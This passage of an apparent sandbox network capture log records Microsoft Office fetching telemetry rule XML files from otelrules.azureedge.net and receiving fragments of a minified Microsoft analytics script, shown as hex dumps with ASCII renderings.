Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}ret
2024-11-20 05:40:32 UTC	16384	IN	Data Raw: 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 Data Ascii: (o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=fu
2024-11-20 05:40:32 UTC	16384	IN	Data Raw: 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 Data Ascii: config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._s
2024-11-20 05:40:32 UTC	16384	IN	Data Raw: 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 Data Ascii: e)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t
2024-11-20 05:40:32 UTC	16384	IN	Data Raw: 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 Data Ascii: g="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split"
2024-11-20 05:40:32 UTC	16384	IN	Data Raw: 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f Data Ascii: a(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:32 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:32 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054032Z-1777c6cb754j47wfhC1TEB5wrw000000053g000000000893 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:32 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:32 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054032Z-185f5d8b95cjbkr4hC1NYCeu2400000009q0000000006eth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:32 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:32 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:32 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054032Z-185f5d8b95c4bhwphC1NYCs8gw00000009u000000000scs2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:32 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:32 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:32 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:32 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054032Z-1777c6cb754j47wfhC1TEB5wrw0000000530000000001e75 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:32 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:32 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:32 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:32 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 733c6689-901e-007b-288c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054032Z-185f5d8b95cjbkr4hC1NYCeu2400000009q0000000006etn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 05:40:32 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:33 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:33 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:33 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054033Z-1777c6cb7544nvmshC1TEBf7qc0000000910000000004qgf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:33 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:33 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:33 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:33 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054033Z-185f5d8b95csp6jmhC1NYCwy6s00000009p000000000qg6z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:33 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:33 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:33 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:33 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054033Z-1777c6cb754rz2pghC1TEBghen000000091000000000ccpb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:33 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:33 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:33 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:33 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054033Z-185f5d8b95c5lcmhhC1NYCsnsw00000009rg00000000urae x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:33 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 